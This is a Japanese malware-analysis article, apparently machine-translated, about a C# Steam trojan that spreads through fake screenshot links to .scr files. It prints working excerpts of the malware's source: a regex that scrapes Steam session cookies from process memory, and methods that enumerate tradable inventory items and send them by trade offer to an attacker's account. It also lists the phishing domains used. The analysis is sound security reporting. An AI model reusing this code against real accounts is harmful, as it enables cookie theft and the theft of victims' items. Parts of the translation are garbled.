蒸気トロイの木馬





このトロイの木馬については長い間知られていましたが、11月末に大量の特徴を獲得しました。

ここで興味深いのは、通常のログインとパスワードの盗難の代わりに、自分自身を非常に簡単に保護できるのではなく、Steamインベントリからアイテムを直接盗むことです。



Valveは長い間この問題を認識してきましたが、Steamクライアントの小さな変更で現在のウェーブを問題なく停止することができますが、数か月間特別なアクションを実行していません。



Steamのインベントリには、いくつかの人気のあるValveゲームのアイテムが含まれていますが、そのうちのいくつかは非常に印象的な金額(カラーピクセルの基準による)になります。 また、Steam自体に関連するアイテム(ゲームのギフトコピー、プロファイルの背景、顔文字など)も保存します。



感染症



感染は次のように発生します。 疑いを持たないユーザーは、アイテム交換の提案とともに、在庫のスクリーンショットへのリンクを含むメッセージを受け取ります。 リンクをクリックすると、.scrファイルのロードが自動的に開始され、サムネイル画像のようなアイコンが表示されます。 Windowsではデフォルトで拡張機能が無効になっていることを考慮し、有効になっている場合でも、.scrは「スクリーンショット」と見なされる可能性が高いため、すべてが非常に信頼できるように見えます。







ファイルを起動した後、トロイの木馬はリソースから画像を解凍して開きます(実際には、インベントリまたは画像内のオブジェクトのスクリーンショットがあります)。 変更の一部は自動実行に書き込まれます。







これと並行して、トロイの木馬はSteamクライアントのメモリからCookieを抽出し、steamcommunity.comにセッションIDの取得を要求し、インベントリ内の適切なアイテムを検索し、「トレードリクエスト」を介して攻撃者の準備アカウントに送信します。



ところで、この記事を書いているときに、トロイの木馬の別のバージョン(明らかに公開ソースに基づいている)を見つけました。これは少し異なって書かれており、たとえばフレンドリスト経由でメッセージを送信するなどの追加機能がありました。



ちなみに、収集されたファイルの元の名前は「Maksim Steam Offer.exe」で、リフレクターが親切に言ってくれました。盗まれたアイテムが行くプロファイルの識別子は76561198009197365です。 -me.com "(探偵をプレイすることにした人のために、仮想マシンの下からログインします)。 そして、はい、そこには焦点がありません。



収集したいくつかのドメイン:



take-screen.org

fastscreen.org

my-screenshot.net

puush-me.com

picturesfast.net

screen-url.com



注目すべきは、それらのほとんどがロシアのレジストラに登録されていることです。



ソースを選択します



トロイの木馬自体はC#で書かれており、この種のソフトウェアでは非常に珍しいものです。 インターネットからダウンロードしたソースには、いくつかのファイルがありました。WinApis.cs(winapi.csを操作するためのいくつかのメソッドを含む)、Http.cs(steamクライアント(最後のヘッダーまで)からの要求をエミュレートするメソッドを含む)、およびProgram.csそして、すべてのアクションが行われました。



興味深いことに、コードの合計量はわずか約500行です。



クライアントのメモリからのCookieは、次の規則でトロイの木馬の両方のバリエーションを受け取ります。



MatchCollection matchs = new Regex("7656119[0-9]{10}%7c%7c[A-F0-9]{40}", RegexOptions.IgnoreCase).Matches(preparedIDs);
      
      





次に、受信したCookieを使用して、リクエストがsteamcommunity.comに送信されて、セッションIDを取得します。セッションIDには、Http.csに別の(かなり大きな)メソッドがあります。



識別子を受け取ったトロイの木馬は、steamcommunity apiを使用して、インベントリの内容を取得します。



 private static List<string[]> GetItems(string steamID, string appID) { List<string[]> items = new List<string[]>(); while (true) { string link = "profiles/" + steamID + "/inventory/json/" + appID + "/2/"; string json = Http.SteamWebRequest(cookiesContainer, link, null, ""); try { JObject inventory = JObject.Parse(json); if (((inventory.SelectToken("success") != null) && ((bool)inventory.SelectToken("success"))) && (inventory.SelectToken("rgDescriptions")).First != null) { IJEnumerable<JToken> descriptionsBase = inventory.SelectToken("rgDescriptions").Values(); foreach (JToken eachItem in inventory.SelectToken("rgInventory").Values()) { JToken infoAbout = descriptionsBase.Where(each => each["classid"].ToString() == eachItem["classid"].ToString()).First(); if (infoAbout["tradable"].ToString() == "1") { string[] item = new string[] { appID, eachItem["amount"].ToString(), eachItem["id"].ToString(), infoAbout["market_name"].ToString(), infoAbout["type"].ToString().ToLower() }; if (!items.Contains(item)) { items.Add(item); } } } } break; } catch { return null; } } return items; }
      
      





指定されたフィルターに従ってソートします。



 listed = FilterByRarity(listed, "common,"); private static List<string[]> FilterByRarity(List<string[]> input, string filter) { string[] filters = filter.Split(','); List<string[]> output = new List<string[]>(); for (int i = 0; i < input.Count; i++) { for (int x = 0; x < filters.Length; x++) { string[] types = input[i][4].Split(' '); for (int c = 0; c < types.Length; c++) { if (types[c] == filters[x] && !output.Contains(input[i])) { output.Add(input[i]); break; } } } } return output; }
      
      





また、適切なアイテム(非常に高価な場合が多い)が事前に準備されたアカウントに送信されます。



 private static string sentItems(string sessionID, string items, string[] Offer) { return Http.SteamWebRequest(cookiesContainer, "tradeoffer/new/send", "sessionid=" + sessionID + "&partner=" + Offer[0] + "&tradeoffermessage=&json_tradeoffer=%7B%22newversion%22%3Atrue%2C%22version%22%3A2%2C%22me%22%3A%7B%22assets%22%3A%5B" + items + "%5D%2C%22currency%22%3A%5B%5D%2C%22ready%22%3Afalse%7D%2C%22them%22%3A%7B%22assets%22%3A%5B%5D%2C%22currency%22%3A%5B%5D%2C%22ready%22%3Afalse%7D%7D&trade_offer_create_params=%7B%22trade_offer_access_token%22%3A%22" + Offer[2] + "%22%7D", "tradeoffer/new/?partner=" + Offer[1] + "&token=" + Offer[2]); }
      
      





注意点-Linuxを使用すると、見知らぬ人から送信されたリンクを開かず、アンチウイルスを使用します(完全に検出します)。



All Articles